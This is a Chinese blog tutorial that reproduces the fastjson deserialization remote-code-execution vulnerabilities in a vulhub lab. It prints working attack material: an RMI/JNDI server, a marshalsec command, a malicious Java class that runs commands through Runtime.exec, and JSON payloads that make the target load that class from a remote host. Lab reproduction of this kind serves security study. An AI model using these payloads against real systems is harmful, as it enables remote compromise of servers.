fastjson反序列化漏洞复现

00前言

fastjson是阿里的开源JSON解析库,被爆出两个远程命令执行漏洞,为2017年1.2.24版本和2019年1.2.47版本。

01环境准备

使用vulhub上的环境,在github上的vulhub下载下来,进入fastjson漏洞环境目录,执行以下命令。


然后访问http://ip:8090看见json返回数据,说明环境启动成功。
还需要开启一个rmi server,用来加载远程恶意类。rmi代码如下

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class server {
    public static void start() throws
            AlreadyBoundException, RemoteException, NamingException {
        Registry registry = LocateRegistry.createRegistry(9999);
        String remote_class_server = "http://ip:port/";//恶意类远程地址
        Reference reference = new Reference("Exploit", "Exploit", remote_class_server);//第一个参数为恶意类名,第二个为factory。
        //reference的factory class参数指向了一个外部Web服务的地址
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit", referenceWrapper);

        System.out.println("Listener on 9999");
    }
    public static void main(String[] args) throws AlreadyBoundException, RemoteException, NamingException{
        start();
    }
}

也可以用marshalsec项目开启rmi服务。将其下载后,用maven编译即可使用。
开启命令,在9999端口监听。

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip:port/#Test" 9999

看见如下说明开始监听

恶意类如下,将其编译后放到Web服务下,确定能访问http://ip:port/Exploit.class

import java.lang.Runtime;
import java.lang.Process;

public class Exploit{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"curl", "https://www.baidu.com/"};//这里写需要执行的命令
            Process pc = rt.exec(commands);
            pc.waitFor();

            //打印命令结果
            InputStream stdin = pc.getInputStream();
            InputStreamReader isr = new InputStreamReader(stdin);
            BufferedReader br = new BufferedReader(isr);
            String line = null;
            System.out.println("<OUTPUT>");
            while((line = br.readLine()) != null) {
                System.out.println(line);
            }
            System.out.println("</OUTPUT>");
        } catch (Exception e) {
            // do nothing
        }
    }
}

0x02攻击

poc如下

//1.2.24以下版本
{
    "a":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip:9999/Test",
        "autoCommit":true
    }
}
//1.2.47以下版本
{
   "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip:9999/Test",
        "autoCommit":true
    }
}

请求搭好的环境,将get改为post,并且将修改Content-Type: application/json

发送请求,可以看到rmi服务收到了响应,加载远程恶意累Test.class。



作者:gelinlang
链接:https://www.jianshu.com/p/df3a0dc7205a
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
推荐,网络安全中的漏洞挖掘实践合集,仅供大家学习参阅,包含内容如下: 针对现实应用的文本对抗攻击研究 安全众测下的漏洞发展新趋势 安卓应用漏洞挖掘 从0到1-发现与拓展攻击面 对基于Git的版本控制服务的通用攻击面的探索 对民用飞行控制系统固件的逆向漏洞分析 卫星通信的安全缺陷 基于全流量的智慧漏洞挖掘 基于运行时类型嗅探技术提高模糊测试的漏洞发掘效果 漏洞挖掘进化论-推开xray之门 逆向漏洞挖掘中的应用 苹果攻击面和漏洞挖掘自动化研究 如何从高赏金项目中拿到高危 如何去挖掘物联网环境中的高级恶意软件威胁 如何在3个月发现 12 个内核信息泄露漏洞 沙箱内持久化.行之有效的沙箱攻击新思路 深度解析Weblogic_XMLDecoder反序列化 使用数据流敏感模糊测试发现漏洞 锁不住的安全 谈谈工业协议转换器的一些问题 逃逸IE浏览器沙箱-在野0Day漏洞利用复现 为何自动化漏洞挖掘如此困难 现代可抵赖后门研究 一扇虚掩的大门-现代智能系统的重要攻击面 源代码漏洞挖掘 远程root现代安卓设备 在现代Windows内核中发现存在20年的漏洞 针对智能设备漏洞挖掘的一些新方法 AI用于软件漏洞挖掘 AndroidWebView安全攻防指南2020 Java反序列化漏洞自动挖掘方法 macOS从运行库劫持到内核提权 MTK安全启动大剖析.CIS大会分论 MyBatis框架下SQL注入解决方案 Qemu-kvm和ESXi虚拟机逃逸实例分享 WEB常见漏洞与挖掘技巧研究 Web漏洞挖掘速成特训营 混合式漏洞挖掘研究进展

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值